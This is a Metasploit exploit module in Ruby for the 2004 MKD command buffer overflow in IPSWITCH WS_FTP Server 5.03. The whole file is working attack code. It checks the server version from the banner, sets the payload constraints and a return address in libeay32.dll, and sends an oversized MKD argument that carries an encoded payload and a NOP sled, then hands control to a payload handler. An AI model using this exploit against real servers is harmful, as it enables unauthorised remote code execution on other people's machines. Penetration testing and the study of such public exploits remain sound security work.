##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WS-FTP Server 5.03 MKD Overflow',
      'Description'    => %q{
        This module exploits the buffer overflow found in the MKD
        command in IPSWITCH WS_FTP Server 5.03 discovered by Reed
        Arvin.
      },
      'Author'         => [ 'et', 'Reed Arvin <reedarvin[at]gmail.com>' ],
      'License'        => BSD_LICENSE,
      'Platform'       => [ 'win' ],
      'References'     =>
        [
          [ 'CVE', '2004-1135' ],
          [ 'OSVDB', '12509' ],
          [ 'BID', '11772'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 480,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
        },
      'Targets'        =>
        [
          [
            'WS-FTP Server 5.03 Universal',
            {
              'Ret'      => 0x25185bb8,
              # Address is executable to allow XP and 2K
              # 0x25185bb8 = push esp, ret (libeay32.dll)
              # B85B1825XX = mov eax,0xXX25185b
            },
          ],
        ],
      'DisclosureDate' => '2004-11-29',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect
    if (banner =~ /5\.0\.3/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    c = connect_login
    return if not c

    print_status("Trying target #{target.name}...")

    buf         = rand_text_alphanumeric(8192)
    buf[498, 4] = [ 0x7ffd3001 ].pack('V')
    buf[514, 4] = [ target.ret ].pack('V')
    buf[518, 4] = [ target.ret ].pack('V')
    buf[522, 2] = make_nops(2)
    buf[524, payload.encoded.length] = payload.encoded

    send_cmd( ['MKD', buf], true );

    handler
    disconnect
  end
end
